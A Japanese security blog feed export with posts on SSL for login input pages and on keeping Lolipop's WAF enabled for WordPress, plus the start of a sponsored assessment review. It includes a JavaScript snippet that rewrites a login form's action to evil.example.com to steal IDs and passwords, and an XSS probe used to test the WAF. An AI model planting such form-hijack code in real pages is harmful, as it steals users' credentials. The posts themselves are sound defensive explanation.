当然ながら、攻撃を受けていない状況では暗号化は必要ないわけで、上記の「ご安心ください」は無意味です。入力フォームをSSLにしないというのは、つまりそういうことです。<br />
<hr><br />
twitterを見ておりましたら、gree.jpのIDとパスワード入力画面がSSLでないという話題を見かけました。確認してみると、確かに入力画面ははSSLでなく、送信先ページはSSLで、ログイン後は非SSL(HTTP)のページに戻ります。<br />
<br />
既に、高木浩光氏の日記『<a href="http://takagi-hiromitsu.jp/diary/20051130.html#p01">SSLを入力画面から使用しないのはそろそろ「脆弱性」と判断してしまってよいころかも</a>』などに説明されているように、SSLを使う場合、入力画面からそうするべきという原則は既に浸透してもよさそうなものですが、必ずしもそうではないのが現状です。このため、gree以外も調べてみることにしました。greeの同業者、mixi、モバゲーをあわせて3大SNSの調査です。<br />
<br />
【結果】PC版<br />
<ul>
<li>gree: 入力画面は非SSL 送信先はSSL(ただし、標準を選択すると、共に非SSLに)</li>
<li>mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)</li>
<li>モバゲー(Yahoo!mobage): 入力、送信先共にSSL</li>
</ul>
<br />
ついでに、スマートフォン版Webについても調べました。<br />
<br />
【結果】スマートフォン版<br />
<ul>
<li>gree: 入力画面は非SSL 送信先はSSL</li>
<li>mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)</li>
<li>モバゲー: 入力、送信先共にSSL</li>
</ul>
4月末に調べた際は、greeのスマートフォン版サイトは共に非SSLだったのですが、先程調べたら送信先はSSLになっていました。<br />
<br />
<h4>
送信先のみSSLはgreeだけ</h4>
上記のように、入力画面が非SSLで、送信先がSSLという組み合わせはgreeのみでした。この組み合わせは良くないといわれています。その理由は2つあります。<br />
<br />
まず、入力画面が非SSLであると、なりすまし画面を見分けることが難しくなります。DNSキャッシュポイズニングやARPスプーフィング攻撃により、利用者が正しいドメイン名を指定しても、ブラウザに表示される画面が偽物ということはあり得ます。実際、2008年にさくらインターネットのホスティングサーバーにてARPスプーフィング攻撃による不正コード挿入の問題が発生しています。<br />
<br />
参考:<a href="http://internet.watch.impress.co.jp/cda/news/2008/06/04/19812.html">さくらインターネットの一部ホスティングサーバーに不正コード挿入の被害</a><br />
<br />
このような場合でも、SSLを使っているページでは、攻撃を防止することが出来ます。<br />
<br />
(1)中間者攻撃の場合はブラウザが証明書エラーを表示するので利用者が気づく<br />
(2)中間者攻撃でない場合は改ざん・盗聴ができないので被害に至らない<br />
<br />
入力画面からSSLにすべきという2番目の理由は、そうしないとSSLの効果が大きく損なわれるからです。<br />
入力画面に重要情報がなく、盗聴によるリスクがあまりない場合でも、入力画面を改ざんされるリスクはあります。この場合、たとえばform要素のaction属性(送信先)を書き換えるという攻撃があり得ます。例えば、ログイン画面のform要素が以下の場合、<br />
<br />
<form name="login" action="https://example.jp/logindo.php" method="post"><br />
<br />
action属性を http://evil.example.com/ (攻撃者のサイト)と変更することで、重要なIDとパスワードを盗むことが出来ます。利用者がこれを確認することは非常に困難です。例えば攻撃者は、action属性を変更をぎりぎりまで遅らせることが出来ます。以下のJavaScriptは、ログインボタン押下時にaction属性を変更する例です。<br />
<pre> document.login.onsubmit = function() {
document.login.action="http://evil.example.com/";
}
</pre>
このスクリプトをHTMLのどこかにしのばせることにより、利用者が送信先変更に気づくことを防ぐことが出来ます。利用者が、このような「仕掛け」に気づくことは困難です。<br />
<br />
このように、せっかくSSLを使うのであれば、入力画面からSSLにしないと意味がありません。脆弱性診断の際にこの種の問題が見つかった場合、多くの診断業者は脆弱性判定するでしょう。危険度は低~中というところでしょうか(ベンダーにより差異があります)。<br />
<br />
<h4>
SSLをまったく使わないのはどうか</h4>
一方、SSLをまったく使わない場合、「好ましくはないが脆弱性とまでは言えない」という判定になります。これは、とまどう人が多いことでしょう。「送信先がSSLであれば盗聴されることはないのに脆弱性と判定され、まったくSSLを使わない場合より『悪い』とはどういうことだろうか」という疑問が生じます(実際には盗聴のリスクはありますが素朴な疑問としてこう書いています)。<br />
<br />
この疑問に対しては、以下のように回答することができます。SSLを使わないサイトは、盗聴のリスクを受容していると解釈できます。この場合、SSLを使わないこと自体は脆弱性とは言えません。一方、SSLを使っているサイトは、盗聴のリスクが受容できないと判断しているはずです。この場合、SSLの使い方が不完全なために盗聴等のリスクが生じる場合は、脆弱性と判断することになります。<br />
<br />
<h4>
SSL使用が要求あるいは強く推奨されるケース</h4>
上記は一般論ですが、サイトの特性によってはSSLの使用が要求される、あるいは強く推奨されます。下記のケースでは、SSLを使っていないとポリシー違反(脆弱性)となります。<br />
<ul>
<li>PCI DSSなど通信の暗号化を要求するスタンダードに準拠する場合</li>
<li>サイトを運営する企業・団体のセキュリティポリシーでSSLの使用を要求している場合</li>
<li>プライバシーポリシーでSSLの使用を明示あるいは暗号化通信などを約束している場合</li>
</ul>
以下に、PCI DSSの4.1項を引用します。SSLなどネットワークの暗号化が要求されています。<br />
<blockquote class="tr_bq">
4.1 オープンな公共ネットワーク経由で機密性の高いカード会員データを伝送する場合、強力な暗号化とセキュリティプロトコル(SSL/TLS、IPSEC、SSHなど)を使用して保護する。</blockquote>
前記「3大SNS」のプライバシーポリシーを確認したところ、SSLないし暗号化という言葉は使っていないようです。このため、「SSLでないからと言って脆弱性とまではいえない」と考えられます。<br />
<br />
また、スマートフォン向けのWebサイトでは、公衆無線LANを使うケースが多く信頼できない無線LANアクセスポイントにつないでしまうリスクも現実的であることから、通常のサイトよりも、SSLの使用を積極的に判断した方がよいでしょう。<br />
<br />
また、SNSの利用局面を考えると、近年はWi-Fiでの利用が増えていることから、SSLの利用範囲を広げることが望ましいと考えます。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-37251187755099899072012-12-30T09:59:00.000+09:002014-08-12T22:30:12.088+09:00ロリポップ上のWordPressをWAFで防御する方法<script type="text/javascript">
if (document.referrer.indexOf('http://nkshopping.biz/') >= 0) {
document.location= 'https://www.hash-c.co.jp/waf/';
}
</script>
<b>(2013/08/29)追記</b><br />
ロリポップ上のWordPressが不正アクセスされる事例が増えているようです(<a href="http://lolipop.jp/info/news/4148/">参考</a>)。現時点で侵入経路等は明らかでありませんが、以下に説明する方法で、公開ページに対するSQLインジェクション攻撃や、管理コンソールに対する不正ログインに対しては、かなり効果があると考えられます。ユーザーの参考になれば幸いです。また、タイトルを変更しました。<br />
<b>追記終わり</b><br />
<br />
今年の9月27日から、<a href="http://lolipop.jp/">ロリポップ</a>のレンタルサーバーの全プランで、WAF(<a href="http://www.jp-secure.com/cont/products/siteguardlite/index.html">SiteGuard Lite</a>)が標準装備されるようになりました。<br />
<ul>
<li><a href="http://lolipop.jp/info/news/3896/">WAF(ウェブアプリケーションファイアウォール)を導入いたしました</a></li>
<li><a href="http://lolipop.jp/waf/">ロリポップ!レンタルサーバーはWAF標準装備です。</a></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-28FaaL_R3A6Uvlq4pFW0JMSImxJs0z7j3jenjCFQJ37J0baIOgfmrakWOhShKnO1jdHFl1dryhkr4wRTanHyInXmGib6j2h4CDK2t3ERHyoGW7bmYLNEVhGf5CLeuTaj5OjbxGFC8Q/s1600/waf001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-28FaaL_R3A6Uvlq4pFW0JMSImxJs0z7j3jenjCFQJ37J0baIOgfmrakWOhShKnO1jdHFl1dryhkr4wRTanHyInXmGib6j2h4CDK2t3ERHyoGW7bmYLNEVhGf5CLeuTaj5OjbxGFC8Q/s640/waf001.png" height="389" width="640" /></a></div>
<a href="http://lolipop.jp/waf/">http://lolipop.jp/waf/</a>より引用<br />
<br />
これは大変良いことですね。インターネット上のすべてのサイトが攻撃の対象ですし、被害も増えている印象があります。ロリポップについても、今年の5月に攻撃を受けたという報告がいくつかあります。たとえば、これ。<br />
<ul>
<li><a href="http://www.php-zfex.jp/blog/2012/05/21/htaccess-kaizan/#more-176">.htaccessの改ざんを受けていた | ZF-Exブログ</a></li>
<li><a href="http://www.php-zfex.jp/blog/2012/05/22/htaccess-kaizan_2/">.htaccess改ざんの件、続き | ZF-Exブログ</a></li>
<li><a href="http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/">.htaccess改ざんの件、恐らく完結 | ZF-Exブログ</a></li>
<li><a href="http://www.seotemplate.biz/blog/9948/">WordPressサイトの.htaccessが改ざんされている件 - CGI版PHPの脆弱性?謎のindex.bak.php | WP SEOブログ</a></li>
<li><a href="http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/">【メモ】.htaccess改ざん事例(.htaccess/png/eval)※追記あり(5/24 8:24a.m.) | バカに毛が生えたブログ</a></li>
</ul>
今年5月に発表された<a href="http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html">CGI版PHPのリモートスクリプト実行の脆弱性(CVE-2012-1823)</a>が狙われたのではないか推測されています。<br />
既に当該脆弱性はロリポップ側で対処が終わっていますが、今後新たな脆弱性が発見されたり、アプリケーションのSQLインジェクション脆弱性などが狙われる可能性もあるので、WAFによる防御は有効です。<br />
<br />
レンタルサーバーを利用するサイトは予算が十分でないことが多く、セキュリティにお金がかけられない場合が多いでしょう。共通設備のセキュリティはレンタルサーバー事業者が責任を持って対処すべきですが、CGIプログラムやPHPスクリプトなどはレンタルサーバー利用者の責任で脆弱性対処すべきところ、なかなかそこまで手が回らないというのが実態ではないでしょうか。ということで、良かったなぁと思っていたところ、以下のような話をよく目にするようになりました。<br />
<br />
<span style="color: red;">ロリポップ!でWordPressを導入すると403エラーになるので、その場合はWAFを停止するといいよ</span><br />
<br />
ざっとググっても以下のように幾つも出てきます。<br />
<ul>
<li><a href="http://minimalwp.com/6144/">ロリポップで運営してるWordPressのテーマ編集画面でファイル更新すると403エラーが出る時はWAF設定を無効にすると解決できる</a></li>
<li><a href="http://ffactory.info/wordpress%E3%82%92%E3%83%AD%E3%83%AA%E3%83%9D%E3%83%83%E3%83%97%EF%BC%81-%E3%81%A7%E4%BD%BF%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E6%99%82%E3%81%AB%E5%87%BA%E3%81%9F403%E3%82%A8%E3%83%A9%E3%83%BC/">WordPressをロリポップ! で使っている時に出た403エラー</a></li>
<li><a href="http://eds-samuraiz.com/archives/534">WordPressをロリポップで使ってて更新ボタンを押すと403エラーが出て困った状況に陥った時はコレかもよ</a></li>
</ul>
なんということでしょう。せっかくのWAFがこういう理由で止めらてしまうなんて、もったいない。そのうちロリポップ!を契約したらまずWAFを停止すべしなんてバッドノウハウが広まってしまうかもしれませんし、既にそうなっているかもしれません。<br />
<br />
ということで、ロリポップ!とも、運営会社の株式会社paperboy&co.さんともなんの関係もないのですが、SiteGuard職人としてこの事態を放置することができず、WAFを有効にしたままWordPressを運営する方法を考えましたので紹介します。<br />
<br />
<h4>
基本的な考え方</h4>
一般的に、WAFが「正常なリクエスト」まで拒否してしまう現象を誤検知、過剰検知、False Positive、偽陽性といいます。誤検知があると、正常な運用ができなくなるので困ります。この場合、通常はWAFのチューニングで、誤検知がない状態にします。簡単なチューニングとしては、誤検知を起こしているルール(シグネチャ)を無効にするなどで、誤検知がないようにします。<br />
しかし、ロリポップ!のWAF設定は、ドメイン単位で有効・無効の設定しかありません。このため、「サイト全体でWAFを無効にする」しかないと思うのも無理はありません。<br />
しかし、以下のようにすれば、WAFを最大限に有効活用できると考えました。<br />
<ul>
<li>ドメインを閲覧用と管理用で分ける</li>
<li>閲覧用のドメインはWAFで防御する</li>
<li>管理用のドメインはWAFは無効にして、BASIC認証で防御する</li>
</ul>
ロリポップ!の<a href="http://lolipop.jp/service/about/">プラン</a>のうち、WordPressが利用できるのはロリポプラン以上ですが、この場合共有SSLを使うことができます。このため、以下のようにすればよいと考えました。<br />
<ul>
<li>閲覧用のドメインはHTTPとして、独自ドメインかロリポップ!の用意したサブドメインで運用する。このドメインはWAFで防御する</li>
<li>管理用のドメインは共有SSLとして、BASIC認証で保護し、WAFの設定は外す</li>
</ul>
いい感じですね。管理画面をSSLで運用すると、スタバでコーヒーを飲みながらWi-FiサービスでWordPressのメンテンスをするなんて際も安心です。WAFの件がなくても、そうしたほうがいいですね。<br />
以下、具体的な設定方法を説明します。<br />
<br />
<h4>
検証用サイトの前提説明</h4>
検証用にロリポップ!のお試しをお借りして、コンテンツはなんでも良かったのですが、「千葉県浦安市が東京都浦安区になった」という想定の偽サイトをでっちあげてみました。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU1040l95fHfsuhOJznUr_fVMm2tK6BjKZRRhUzXeg7aavns2YQEIDB2VrLF95zWfCA7iMq6nMMcdE5VP3h83gxS4C-EN3tghIP7Wdug3lsz6i6m29DWZ5Er9MPIFNCLaYeIfstTGH2Q/s1600/urayasu001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU1040l95fHfsuhOJznUr_fVMm2tK6BjKZRRhUzXeg7aavns2YQEIDB2VrLF95zWfCA7iMq6nMMcdE5VP3h83gxS4C-EN3tghIP7Wdug3lsz6i6m29DWZ5Er9MPIFNCLaYeIfstTGH2Q/s640/urayasu001.png" height="388" width="640" /></a></div>
<br />
このサイトのドメイン名は下記となります。<br />
<ul>
<li>閲覧用:http://www.urayasu.tokyo.jp/</li>
<li>管理用:https://oops-ock.ssl-lolipop.jp/</li>
</ul>
<br />
<h4>
WordPressの管理画面をSSL対応にする</h4>
WordPressの管理画面をSSL対応するには、「WordPress HTTPS」というプラグインが便利です。導入するには、WordPressの管理画面(ダッシュボード)から、<b>プラグイン|新規追加</b>というメニューを選択し、httpsというキーワードで検索するとすぐ出てきます。「<b>いますぐインストール</b>」というリンクをクリックしてインストールしましょう。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm-jwsNhxaJv9obnWIyntZXXAViS-yrxadIYkFqr-hQd0M2Qc-zzhtTf3Z1AQCjtT0i5JKQ1RE6qpq4khBdelOLcj8rpCOaGcHfZacHRlxzPBAqOgcF94G1Nf6ppajFfZtx1XdHJ1CSA/s1600/https-plugin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm-jwsNhxaJv9obnWIyntZXXAViS-yrxadIYkFqr-hQd0M2Qc-zzhtTf3Z1AQCjtT0i5JKQ1RE6qpq4khBdelOLcj8rpCOaGcHfZacHRlxzPBAqOgcF94G1Nf6ppajFfZtx1XdHJ1CSA/s640/https-plugin.png" height="346" width="640" /></a></div>
<br />
プラグインのインストールが完了すると以下の画面になります。「<b>プラグインを有効化</b>」をクリックします。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_pTIIcADC51dtS02hZNUCeRz2KYaK7inLdm3KxeTl831xGE03FJwQDdXovja4RK9cXt5gDBwz35z1hmemOi5kJVwgLwJYWeYtFer2Vr1mAj5Z7PyL0Wx-Bmr9Mqjc8kKxwbKad-Cm2w/s1600/https-plugin002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_pTIIcADC51dtS02hZNUCeRz2KYaK7inLdm3KxeTl831xGE03FJwQDdXovja4RK9cXt5gDBwz35z1hmemOi5kJVwgLwJYWeYtFer2Vr1mAj5Z7PyL0Wx-Bmr9Mqjc8kKxwbKad-Cm2w/s640/https-plugin002.png" height="368" width="640" /></a></div>
<br />
その後、プラグインの一覧からWordPress HTTPSの<b>Settings</b>をクリックすると以下の画面が表示されます。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJvCEsnZ1vlhTxT69PoLloyuZ5OCFir3gv9Kmx8NLi5Blq541FFTYNn3jVsv2ZXChh0zey8KmYkvnGj1YUQwS9_5Siu4rmxjpPTuVKiBNsJ2G0K6ArMQhME1BW3eIQ1HhjCF6elyNOtQ/s1600/https-plugin003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJvCEsnZ1vlhTxT69PoLloyuZ5OCFir3gv9Kmx8NLi5Blq541FFTYNn3jVsv2ZXChh0zey8KmYkvnGj1YUQwS9_5Siu4rmxjpPTuVKiBNsJ2G0K6ArMQhME1BW3eIQ1HhjCF6elyNOtQ/s640/https-plugin003.png" height="350" width="640" /></a></div>
<br />
上記のように、SSL HostにURL(HTTPSのホスト)を入力し、「<b>Force SSL Administration</b>」と「<b>Force SSL Exclusively</b>」にチェクを入れ、「<b>Save Changes</b>」をクリックします。これで、WordPressの管理画面がHTTPSでアクセスするようになります。<br />
<br />
<h4>
BASIC認証を設定する</h4>
次に、BASIC認証を設定します。まず、FTP画面(<b>Webツールロリポップ!FTP</b>)で .htaccess というファイルがあるかどうかを確認して、ある場合は内容をコピーしておきます。<br />
次に、<b>Webツール|アクセス制御</b>メニューをクリックして以下の画面から、<b>新規作成</b>ボタンをクリックします。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu5pIiUUb5xHTvY4js444-QY0XyV-PP4BLkeK93ZI0GJe08UiuJCvhXLszZHPME2kEocCKi9uJUb-9VFIGtPpL3N_R20oC3C_Cla_UscYb5NbVC2EINZwF0cMRK5sDTfYN_2C_w12Gwg/s1600/access001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu5pIiUUb5xHTvY4js444-QY0XyV-PP4BLkeK93ZI0GJe08UiuJCvhXLszZHPME2kEocCKi9uJUb-9VFIGtPpL3N_R20oC3C_Cla_UscYb5NbVC2EINZwF0cMRK5sDTfYN_2C_w12Gwg/s640/access001.png" height="372" width="640" /></a></div>
<br />
以下の画面が表示されるので、認証フォームタイトルを適当に入力(下記例ではPlease Login)して、ユーザ1にアカウント名とパスワードを入力します。WordPressに設定したパスワードとは別のパスワードを設定するとよいでしょう。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnbdiboeTfUcCzibmA6_Ex3k5xsscj5s91rs0PZ7Zb3qiNolxi1RHIa088UVFCOsZTnWGee0BfpxlZDEb0bm-eOsMAfxieNHW62WIeaqK2nifVqvwbhBxpA-spVGCSN5-t1hvhKpusw/s1600/access002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnbdiboeTfUcCzibmA6_Ex3k5xsscj5s91rs0PZ7Zb3qiNolxi1RHIa088UVFCOsZTnWGee0BfpxlZDEb0bm-eOsMAfxieNHW62WIeaqK2nifVqvwbhBxpA-spVGCSN5-t1hvhKpusw/s640/access002.png" height="414" width="640" /></a></div>
<br />
入力を確認して、「<b>作成</b>」ボタン(画面下部)をクリックします。<br />
<br />
以上でBASIC認証の設定は終わりですが、ここから .htaccess をカスタマイズします。FTPツールで、.htaccessを開くと、以下の様な内容が入っているはずです。1行目のパス名は少し違うはずです。<br />
<br />
<pre>AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user
</pre>
<br />
ここに、追記して以下のようにします(<span style="color: blue;">青字</span>が追記部分)。<br />
<br />
<pre>AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user
<span style="color: blue;">SetEnvIf Host "^www.urayasu.tokyo.jp$" allow_host
SetEnvIf Host "^urayasu.tokyo.jp$" allow_host
order deny,allow
deny from all
allow from env=allow_host
satisfy any</span></pre>
<br />
「SetEnvIF Host」のホスト名は貴サイトのものに置き換えてください。上記は、BASIC認証で通るか、ホスト名がwww.urayasu.tokyo.jpあるいはurayasu.tokyo.jpの場合にアクセスできるという設定です(SetEnvIfは複数書いても構いません)。これにより、閲覧用ドメインは認証なしで、管理用ドメインはBASIC認証ありでアクセスという設定を実現しています。<br />
<br />
最後に、元々.htaccessに設定があった場合は、その内容は消えているはずなので、あらかじめコピーしておいた内容を上記の下にペーストして復元しておきます。最後にFTPツールの「<b>保存する</b>」ボタンをクリックして内容をセーブします。<br />
<br />
<h4>
WAFの設定を変更する</h4>
次に、WAFの設定を変更します。ロリポップ!のユーザ専用ページから<b>Webツール|WAF設定</b>を選び、以下の画面を表示します。管理用ドメイン(以下の画面ではhttps://oops-ock.ssl-lolipop.jp/)のみを「<b>無効にする</b>」をクリックして以下の状態にします。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibqCCh-h4udLiGGPyPediffZWDKG6rkLTKnh3NGQ4J39TRbeYiyi0AiljbMjxs3L8WPUNbtdV48Q52uvjvOYlGlg63V8EoxXGv8sdPZ_9rVIPgf17gS9PQ2N-i1bqmgWNLkKF_VYAOLw/s1600/waf002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibqCCh-h4udLiGGPyPediffZWDKG6rkLTKnh3NGQ4J39TRbeYiyi0AiljbMjxs3L8WPUNbtdV48Q52uvjvOYlGlg63V8EoxXGv8sdPZ_9rVIPgf17gS9PQ2N-i1bqmgWNLkKF_VYAOLw/s1600/waf002.png" /></a></div>
<br />
以上で、BASIC認証の設定とWAFの設定が終わりました。<br />
<br />
<h4>
試してみる</h4>
設定が終わりましたので、利用者として該当ページを閲覧してみましょう…以下のように、とくに認証を求められることもなく普通にアクセスできます。大丈夫ですね。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhGgadvsfDPFkMIEHqtIB1-vZl4jroe7kTsezV5JOsHydwN8oULaCyCuhP-llNSlV5YInxpdRLsQIsQrDaXRZLCOs7bgnWA1KnMDkZ6IgERO9fWzKONnXcvr5Pn7zHP9J4HIAoPHmnRQ/s1600/urayasu002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhGgadvsfDPFkMIEHqtIB1-vZl4jroe7kTsezV5JOsHydwN8oULaCyCuhP-llNSlV5YInxpdRLsQIsQrDaXRZLCOs7bgnWA1KnMDkZ6IgERO9fWzKONnXcvr5Pn7zHP9J4HIAoPHmnRQ/s640/urayasu002.png" height="388" width="640" /></a></div>
<br />
WAFの効き目を確かめるために、URL末尾に ?a=<script>alert(1)</script> を追加してアクセスしましょう。下記のように、403 FORBIDDENとなり、WAFが働いていることがわかります。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibxHYqw0_qTrRRoxuWyI7wd5iO_JNf5HdKurMZnE8A4era7QYVkgUJ3V6g9oTcRkrKqvsqQb3EfNZlZfjoytAMFJTdvbIUpmY24rzDuDeSTumkuCtD80qNSacsDN5dGJw_Yvt7K5zErw/s1600/urayasu003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibxHYqw0_qTrRRoxuWyI7wd5iO_JNf5HdKurMZnE8A4era7QYVkgUJ3V6g9oTcRkrKqvsqQb3EfNZlZfjoytAMFJTdvbIUpmY24rzDuDeSTumkuCtD80qNSacsDN5dGJw_Yvt7K5zErw/s640/urayasu003.png" height="388" width="640" /></a></div>
<br />
この403ページはロリポップ!標準のものですが、カスタマイズして変更したほうがよいでしょうね。<br />
次に、管理画面に移りましょう。元のページに戻り、<b>メタ情報</b>の<b>ログイン</b>をクリックします。下記のように、BASIC認証のユーザ名とパスワードの入力画面が表示されます。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPzhXyO4NfS0U18NOJ2oP62H_iW6BndT5sEP3BIZo0MA5CyFR_dwIG2SNO04g6CYMPInYkGB_RHW7Ti52bJtT-dl9UgZ_F-oXWs0v1uoVpK0p420nSKrhQWmUV4IzEYjky_s_MidCqwA/s1600/urayasu004.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPzhXyO4NfS0U18NOJ2oP62H_iW6BndT5sEP3BIZo0MA5CyFR_dwIG2SNO04g6CYMPInYkGB_RHW7Ti52bJtT-dl9UgZ_F-oXWs0v1uoVpK0p420nSKrhQWmUV4IzEYjky_s_MidCqwA/s640/urayasu004.png" height="388" width="640" /></a></div>
<br />
先に登録したユーザ名とパスワードを入力してOKボタンをクリックすると、ワードプレスのログイン画面になります。ログインが2回出てウザい感じですが、WordPress自体を守りたいため、これは仕方ありません。ブラウザにパスワードを記憶させても良いので、このBASIC認証はかけるべきです。そうでないと、WAFの防御が無意味になってしまいます。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9x0eNnRfop3mSXOKzg33BcVexoKHEfE8dny7fA4-cJzFTboCHdcLyuClv3xhGySoSVdRvtDEFFKW6vvoTtixeubFZFSaZZHoFymhHzkI0XL6gfVyV4FJkvMtj-7efhRzt9T8AAHU67g/s1600/wordpress001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9x0eNnRfop3mSXOKzg33BcVexoKHEfE8dny7fA4-cJzFTboCHdcLyuClv3xhGySoSVdRvtDEFFKW6vvoTtixeubFZFSaZZHoFymhHzkI0XL6gfVyV4FJkvMtj-7efhRzt9T8AAHU67g/s640/wordpress001.png" height="388" width="640" /></a></div>
<br />
WordPresにログインしてから、先ほど同様URL末尾に ?a=<script>alert(1)</script>を追加してアクセスしてみます。以下のように、403にならず、通常通り使用できます。WordPressのダッシュボードはWAFの防御が無効になっていることがわかります。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixN20eVMLyV5Dqh5o9rI4G7Pl1QReikv4aB83DXgiA1cJbxwOBp3DXh845GfhW02L2KNy5H6eyOp1z9Y6D3QKTCBhXWGVr5A_JzHcoBBZmjuYqxL7LRi2ZCO7aoRbDlzsYR5w8we2Glg/s1600/wordpress002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixN20eVMLyV5Dqh5o9rI4G7Pl1QReikv4aB83DXgiA1cJbxwOBp3DXh845GfhW02L2KNy5H6eyOp1z9Y6D3QKTCBhXWGVr5A_JzHcoBBZmjuYqxL7LRi2ZCO7aoRbDlzsYR5w8we2Glg/s640/wordpress002.png" height="388" width="640" /></a></div>
<br />
<h4>
注意事項</h4>
WordPressのダッシュボードはBASIC認証で守られているので、SQLインジェクションなどの能動的攻撃を受けることはなくなります。しかし、クロスサイトスクリプティング(XSS)のような受動的攻撃は受ける可能性があります。<br />
このため、WordPressのダッシュボード作業は、いつも使っているブラウザとは別のブラウザを用い、作業終了後すぐにブラウザも終了させることにより、受動的攻撃のリスクを最小限に留めることができます。<br />
また、ロリポップ!に導入されているWAFはSiteGuard Liteという簡易版のWAFなので、おもにSQLインジェクションとXSSに特化した防御機能であり、WordPress固有の脆弱性に対してはシグネチャはありません。このため、定期的にダッシュボードを確認して、プラグインなどを最新の状態に更新することが重要です。<br />
<br />
また、一般ユーザがコメントを付ける場合は、WAFの防御機能が有効なので、タグを使って入力した場合にWAFが誤検知する可能性はあります。私がWordPressのコメント欄で許可されているタグをひと通り試した範囲では検知はされませんでした。<br />
<br />
<h4>
まとめ</h4>
ロリポップ!のWordPressとWAFが干渉して誤検知が発生するという問題に対して、WordPressの管理画面(ダッシュボード)のみWAFを無効化して、一般利用者の閲覧する画面についてはWAFによる防御を有効化する方法を説明しました。<br />
貴サイトの安全性強化の参考になれば幸いです。<br />
<br />
<h4>
PR</h4>
HASHコンサルティング株式会社では、WAFの選定、導入、運用のサービスを提供しております。WAFの誤検知に対しても、防御機能を最大限活かした状態でのチューニングが可能です。詳しくは<a href="http://www.hash-c.co.jp/waf/waf-solutions.html?ref=wordpress">弊社ホームページ</a>をご参照ください。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com3tag:blogger.com,1999:blog-3279382045519981789.post-37587261673508725652012-10-10T10:07:00.000+09:002012-10-10T10:07:33.213+09:00[PR]日本ベリサインの「脆弱性アセスメント」機能を使ってみた<h4>
重要事項説明</h4>
本稿は、HASHコンサルティング株式会社が、日本ベリサイン株式会社から依頼を受けて「脆弱性アセスメント」を評価し、その結果を執筆した記事広告です。<br />
<br />
<h4>
はじめに</h4>
日本ベリサインの提供する「EV SSL証明書」または「グローバル・サーバID」を購入すると、「脆弱性アセスメント」の機能(以下、脆弱性アセスメント)が無償で提供される。この脆弱性アセスメントを実際に使ってみたので報告する。<br />
<br />
<h4>
